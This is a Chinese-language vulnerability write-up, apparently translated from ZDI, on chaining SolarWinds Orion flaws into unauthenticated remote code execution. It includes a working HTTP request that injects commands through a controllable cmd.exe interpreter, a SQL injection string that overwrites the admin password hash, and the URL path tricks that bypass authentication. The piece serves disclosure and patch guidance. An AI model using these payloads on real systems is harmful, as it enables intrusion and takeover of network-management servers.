0x00 概述
本文详细分析了SolarWinds Orion平台中最近修复的一些漏洞。攻击者一旦将这些漏洞组合利用,可能会导致未经身份验证的攻击者以管理员身份在受影响的系统上执行任意代码。其中一个漏洞CVE-2020-14005与最近在SolarWinds上发生的SUNBURST网络攻击相关。但是,有关如何利用这一漏洞或是否确实利用这一漏洞的具体细节还尚不清楚。
除了ZDI获得的漏洞详细信息之外,这篇文章中还包含N-day团队开展的身份验证绕过研究,该绕过漏洞允许在未经身份验证的情况下利用这些漏洞。在这里,感谢趋势科技安全研究团队在分析身份验证绕过技术细节方面所作出的努力。
在详细介绍之前,首先是一个快速的演示视频,展示如何将CVE-2020-10148和CVE-2020-14005组合利用,以实现无需身份验证的管理员身份远程代码执行。
视频地址:https://youtu.be/xyYPUDw6zco
0x01 关于SolarWinds帐户特权
SolarWinds用户可以拥有下述任一特权,其中的一些具有较高的权限:
例如,告警管理特权允许用户修改或创建新的告警。而告警通常是作为发生网络事件情况下的自动通知。
0x02 关于SolarWinds API
在安装后,SolarWinds Orion平台会加载基于Web的GUI。SolarWinds REST API可以在这个页面中执行可用的相同操作。
ZDI最初是根据一位匿名研究人员的线索了解到这一攻击面的,该研究人员能够证明具有告警管理权限的用户(以下称为非管理员用户)可以通过基于Web的GUI或REST API对SolarWinds Orion平台产生比较严重的副作用。
0x03 CVE-2020-14005:任意VBScript命令注入与执行漏洞
该产品允许非管理员用户指定触发告警时要执行的VBS脚本的路径。与此同时,该路径没有对远程SMB共享上托管的VBS文件加以任何的限制。这样一来,就使得攻击者可以指定要执行的任意VBS脚本。
VBS脚本的执行过程是通过以下方法进行的处理:
protected override void ExecuteInternal()
{
StringBuilder stringBuilder = new StringBuilder(1000);
try
{
this._config = new ExecuteVBScriptConfiguration();
this.LoadConfiguration();
base.Log.DebugFormat("Action [{2}] : Starting Execute VB Script Action execution [{0}] for interpretr [{1}]", this._config.FilePath, this._config.Interpreter, base.MiniDumpActionInfo());
string text = string.Format("{0} //B {1}", this._config.Interpreter, this._config.FilePath); ' <-------------------------
stringBuilder.AppendFormat("Executing - {0}", text);
base.Log.InfoFormat("Running vbscript : [{0}]", text);
if (this._config.Credentials == null)
{
if (!this.ExecuteWithoutCredentials(this._config.Interpreter, this._config.FilePath))
{
throw new ActionExecutionFailedException("Execute program failed...");
}
}
else
{
uint num;
if (!ProcessExecutor.TryExecuteAsUser(text, this._config.Credentials.Username, this._config.Credentials.Password, out num) && ' <---------------------------------
ProcessExecutor.TryExecuteWithLogonW(text, this._config.Credentials.Username, this._config.Credentials.Password, out num))
{
throw new ExternalException("Running vbscript failed");
}
if (num != 0U)
{
stringBuilder.Insert(0, "Failed - ");
throw new Exception(string.Format("Running vbscript exit code {0}", num));
}
}
stringBuilder.Insert(0, "Success - ");
}
catch (Exception ex)
{
string message = string.Format("Execute VB Script {0} failed. {1}", this._config.FilePath, ex.Message);
base.Log.Error(message, ex);
BusinessLayerOrionEvent.WriteEvent(string.Format(Resources.LIBCODE_AB0_30, this._config.FilePath, ex.Message), 1001);
throw;
}
finally
{
base.Log.Info(stringBuilder);
}
}
在分析上述代码的过程中,我们注意到,可以通过操纵API请求的JSON主体来控制解析器参数。因此,如果我们指定的是cmd.exe而非WScript.exe,就可以利用该漏洞实现简单的命令注入:
POST /api/Action/TestAction HTTP/1.1
Host: 172.16.11.167:8787
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
[...]
Content-Length: 1431
{"EnvironmentType": "Alerting", "ActionDefinition": {"$type": "SolarWinds.Orion.Core.Models.Actions.ActionDefinition, SolarWinds.Orion.Actions.Models", "ActionTypeID": "ExecuteVBScript", "ActionProperties": [{"$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "EscalationLevel", "PropertyValue": "0", "IsShared": false}, {"$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "executionIfAknowledge", "PropertyValue": "True", "IsShared": false}, {"$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "executionRepeatTimeSpan", "PropertyValue": "0", "IsShared": false}, {"$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "FilePath",
"PropertyValue": "/c whoami > C:\\inetpub\\SolarWinds\\poccmd2.txt", <----------- COMMAND INJECTION ARGUMENTS
"IsShared": false}, {"$type": "SolarWinds.Orion.Core.Models.Actions.ActionProperty, SolarWinds.Orion.Actions.Models", "PropertyName": "Credentials", "PropertyValue": "", "IsShared": false}, {"PropertyName": "Interpreter",
"PropertyValue": "cmd.exe", <----------- INTERPRETER CAN BE CONTROLLED
"IsShared": false}]}, "ActionContext": {"$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models", "EntityType": "Orion.Nodes", "EntityUri": "swis://POC/Orion/Orion.Nodes/NodeID=1"}}
非管理员用户可以使用的另一个功能允许攻击者执行外部脚本,可以按照类似于下述的方式来利用该脚本:
指定的脚本随后会由以下命令来执行:
public string InvokeMethod(string methodName, string args)
{
if (methodName == "ValidateAccess")
{
ExecuteExternalProgramConfiguration config = SerializationHelper.FromXmlString<ExecuteExternalProgramConfiguration>(args);
return SerializationHelper.ToXmlString(this.ValidateAccessToFile(config), new Type[]
{
typeof(bool)
});
}
throw new NotSupportedException(string.Format("Execute external program Constants doesn't support method invocation for '{0}'", methodName));
}
// Token: 0x06000312 RID: 786 RVA: 0x0000C384 File Offset: 0x0000A584
private bool ValidateAccessToFile(ExecuteExternalProgramConfiguration config)
{
try
{
if (config.Credentials == null)
{
if (!this.ExecuteWithoutCredentials(config.ProgramPath))
{
return false;
}
}
else
{
uint num;
if (!ProcessExecutor.TryExecuteAsUser(config.ProgramPath, config.Credentials.Username, config.Credentials.Password, 10000U, out num) && // <---------------------------------------
!ProcessExecutor.TryExecuteWithLogonW(config.ProgramPath, config.Credentials.Username, config.Credentials.Password, 10000U, out num))
{
return false;
}
if (num != 0U && num != 259U)
{
return false;
}
}
}
catch (Exception exception)
{
string message = string.Format("Execute program {0} failed...", config.ProgramPath);
this._log.Error(message, exception);
BusinessLayerOrionEvent.WriteEvent(string.Format(Resources.LIBCODE_AB0_31, config.ProgramPath), 1001);
return false;
}
return true;
}
0x04 CVE-2020-27869:SQL注入特权提升漏洞
非管理员用户还可以通过“Configure Action”(配置操作)设置,或者找到相应的API命令,来触发SQL注入漏洞。
这些请求会由以下代码进行处理:
protected override void ExecuteInternal() //SolarWinds.Orion.Core.Actions.Impl.WriteToFile.WriteToFileExecutor
{
this._config = new WriteToFileConfiguration();
this.LoadConfiguration(); // <--------------------------------------------
if (!string.IsNullOrEmpty(this._config.Message))
{
if (!string.IsNullOrEmpty(this._config.FilePath))
{
try
{
base.Log.DebugFormat("Action [{2}] : Starting Write to file execution to {0} Message: {1}", this._config.FilePath, this._config.Message, base.MiniDumpActionInfo());
this._sender.WriteToFile(this._config.FilePath, this._config.Message, this._config.FileSizeMb);
return;
}
catch (Exception ex)
{
base.Log.Error(string.Format("Failed Write to file to {0} Message: {1}. Error details: {2}", this._config.FilePath, this._config.Message, ex.Message));
BusinessLayerOrionEvent.WriteEvent(string.Format(Resources.LIBCODE_AB0_35, this._config.FilePath, this._config.Message, ex.Message), 1001);
throw new ActionExecutionFailedException(ex.Message);
}
}
string text = "Failed Write to file - Target file was undefined";
base.Log.Error(text);
BusinessLayerOrionEvent.WriteEvent(Resources.LIBCODE_AB0_36, 1001);
throw new ArgumentException("FilePath", text);
}
string text2 = "Failed Write to file - Message Length was zero";
base.Log.Error(text2);
BusinessLayerOrionEvent.WriteEvent(Resources.LIBCODE_AB0_37, 1001);
throw new ArgumentException("Message", text2);
}
private void LoadConfiguration()
{
if (base.Log.IsDebugEnabled)
{
base.Log.DebugFormat("Action [{0}] starts load configuration ...", base.MiniDumpActionInfo());
}
this._config.Load(base.ActionDefinition, base.MacroParser); // <---------------------------------------------------------------
if (base.Log.IsDebugEnabled)
{
base.Log.DebugFormat("Action [{0}] loaded configuration [LogFileName: [{1}], Message: [{2}]] succesfully", base.MiniDumpActionInfo(), this._config.FilePath, this._config.Message);
}
}
public override void Load(ActionDefinition action, IMacroParser macroParser)
{
if (action == null)
{
throw new ArgumentNullException("action");
}
if (macroParser == null)
{
throw new ArgumentNullException("macroParser");
}
this.FilePath = (action.Properties.GetPropertyValue("FilePath") ?? string.Empty);
this.FilePath = macroParser.ParseMacros(this.FilePath); // <--------------------------------------------------
this.Message = (action.Properties.GetPropertyValue("Message") ?? string.Empty);
this.Message = macroParser.ParseMacros(this.Message); // <----------------------------------------------------
int num;
this.FileSizeMb = (int.TryParse(action.Properties.GetPropertyValue("FileSizeMb"), out num) ? num : 0);
}
public virtual string ParseMacros(string messageWithMacros, bool SQLSearch = false)
{
bool flag = false;
string empty = string.Empty;
this.mCalledForSQL = SQLSearch;
string result;
if (messageWithMacros != null)
{
if (messageWithMacros.Length > 3)
{
if (SQLSearch)
{
string text = MacroParser.mSQLMacroFinderRegEx.Replace(messageWithMacros, this.mMatchEvaluator);
this.mCalledForSQL = false;
result = text;
}
else
{
if (this.mMessageEvaluator != null)
{
messageWithMacros = MacroParser.mMacroRegExPattern.Replace(messageWithMacros, this.mMessageEvaluator);
flag = true;
}
if (flag)
{
if (!messageWithMacros.Contains("${"))
{
return messageWithMacros;
}
}
while (MacroParser.mGuidMacroFinderRegEx.IsMatch(messageWithMacros))
{
messageWithMacros = MacroParser.mGuidMacroFinderRegEx.Replace(messageWithMacros, this.mGuidMatchEvaluator);
}
if (messageWithMacros.Contains("${SQL:")) // <------------------------------------------------------------------------------
{
MacroParser.PrepareMacroStringForSQL(ref messageWithMacros); // <-------------------------------------------------------
}
string text2 = this.ReplaceVariablesWithValues(messageWithMacros);
this.mCalledForSQL = false;
result = text2;
}
}
else
{
result = messageWithMacros;
}
}
else
{
result = string.Empty;
}
return result;
}
如图所示,如果POST正文包含字符串“${SQL: ”,那么后续字符串将会被判断为SQL语句,从而构成SQL注入。攻击者可以通过使用以下恶意字符串的方式来接管管理员帐户:
${SQL: SELECT @@version; UPDATE [dbo].[Accounts] SET PasswordHash = 'Yj505tc0oUwHdI1tgBoOtGWvKlGviV7tGGb276YZwyaADa/iyFhg1JHCJF1RwwNfvYiVGXca1AFFJvrIGgNHdQ==' WHERE AccountID = 'admin'; UPDATE [dbo].[Accounts] SET PasswordSalt= '8M4EuLag9Lpl+d9i0GQKDw==' WHERE AccountID = 'admin'}
0x05 CVE-2020-10148:身份验证绕过
在我们评估第二次热修复引入的补丁程序时,我们的N-day团队同时在分析另一个可以实现完整身份验证绕过的漏洞。该漏洞已经分配编号为CVE-2020-10148。当客户端请求不需要身份验证的资源时(例如JavaScript或CSS文件),该应用程序存在绕过身份验证的逻辑。具体而言,如果请求URL路径包含“Skipi18n”或以“i18n.ashx”、“ WebResource.axd”、“ ScriptResource.axd”任一结尾,则会绕过身份验证。
in Global.asax:
public void FormsAuthentication_OnAuthenticate(object sender, FormsAuthenticationEventArgs args)
{
// potential bypass in here
i18nRedirector.OnAuthenticate(sender, args);
// second potential bypass in here
AllowAnonymousAspNetResources(args);
// [... Truncated for readability ...]
private void AllowAnonymousAspNetResources(FormsAuthenticationEventArgs e)
{
// request-URI path ending in these strings skips authorization
if (e.Context.Request.Path.EndsWith("WebResource.axd") ||
e.Context.Request.Path.EndsWith("ScriptResource.axd"))
{
e.Context.SkipAuthorization = true;
e.User = new NullUser();
} }
in i18Redirector.cs:
public void Init(HttpApplication context)
{
// OnRequest appended to the BeginRequest event handlers
context.BeginRequest += OnRequest;
}
// [... Truncated for readability ...]
private static void OnRequest(object sender, EventArgs e)
{
HttpContext context = ((HttpApplication)sender).Context;
string path = context.Request.Path;
// Skip authorization if Skipi18n is found anywhere in the request path
if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
{
if (context.User == null || !context.User.Identity.IsAuthenticated)
{
context.SkipAuthorization = true;
context.User = new NullUser();
}
}
else if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase)
|| path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
{
if (context.User == null || !context.User.Identity.IsAuthenticated)
{
context.SkipAuthorization = true;
context.User = new NullUser();
}
LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
}
else if (path.EndsWith(".i18n.ashx"))
{
string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
string path2 = RebuildPath(context.Request.QueryString, revisedFile);
context.RewritePath(path2);
} }
public static void OnAuthenticate(object sender, FormsAuthenticationEventArgs e)
{
// skip authorization if the path ends with this string
if (e.Context.Request.Path.EndsWith("i18n.ashx"))
{
e.Context.SkipAuthorization = true;
e.User = new NullUser();
}
}
尽管这些漏洞单独存在的情况下可能并不严重,但一旦将其组合利用,可以导致攻击者以最高级别获得未经身份验证的远程代码执行。发现并修复这些类型的漏洞有助于清除生态系统中的高危害漏洞,希望能够抢在攻击者利用这些漏洞之前。在这里,建议组织及时安装厂商提供的修复程序,以增强防御能力,同时有助于阻止对企业的入侵活动。
0x06 总结
SolarWinds Orion平台通常会作为组织内部的关键基础架构。目前,SolarWinds已经发布了补丁以解决这些漏洞。我们建议用户遵循官方给出的通告,确保系统具有最新的安全更新。同时,我们也非常开心能够借助ZDI项目为该代码库的安全性做出贡献。在下一篇文章中,我们将详细分析SolarWinds Orion平台其他组件中存在的漏洞,这些漏洞也将产生类似的危害,请大家持续关注。
欢迎大家在Twitter上通过@zebasquared与我取得联系,同时可以关注我们团队以获取最新的漏洞利用技术和安全补丁。
发表评论
您还未登录,请先登录。
登录